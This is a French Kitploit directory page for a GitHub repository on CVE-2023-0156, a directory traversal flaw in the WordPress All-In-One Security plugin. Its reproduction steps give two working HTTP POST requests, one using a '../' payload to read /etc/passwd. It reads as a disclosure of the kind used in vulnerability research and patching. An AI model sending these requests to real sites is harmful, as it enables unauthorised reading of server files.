Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-0156 — Dépôt pour la vulnérabilité CVE-2023-0156. | Kitploit
Outils/GitHubGitHub/b0marek/cve-2023-0156
Analyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebTests d'Intrusion
GitHubb0marek/cve-2023-0156

CVE-2023-0156

Dépôt pour la vulnérabilité CVE-2023-0156.

Voir le dépôt
il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE ID: CVE-2023-0156

Type de vulnérabilité : Traversée de répertoire

Description : Le plugin All-In-One Security (AIOS) pour WordPress est vulnérable à une traversée de répertoire dans les versions jusqu'à la 5.1.4 incluse. Cela permet à des attaquants authentifiés disposant de permissions d'administrateur de lire le contenu de fichiers arbitraires sur le serveur.

Étapes pour reproduire :

root@kitploit:~
POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2
Host: <host>
Cookie: <cookies>
Content-Length: 125
Content-Type: application/x-www-form-urlencoded

_wpnonce=<nonce>&aiowps_system_log_file=..%2F..%2F..%2F..%2Fetc%2Fpasswd&aiowps_search_error_files=View+latest+system+logs
root@kitploit:~
POST /wp-admin/admin.php?page=aiowpsec_filesystem&tab=tab4 HTTP/2
Host: <host>
Cookie: <cookies>
Content-Length: 98
Content-Type: application/x-www-form-urlencoded

_wpnonce=<nonce>&aiowps_system_log_file=..%2F&aiowps_search_error_files=View+latest+system+logs

Référence :

  1. https://wpscan.com/vulnerability/caf1dbb5-197e-41e9-8f48-ba1f2360a759
  2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0156
  3. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/all-in-one-wp-security-and-firewall/all-in-one-security-aios-514-authenticatedadmin-directory-traversal
Télécharger l’outil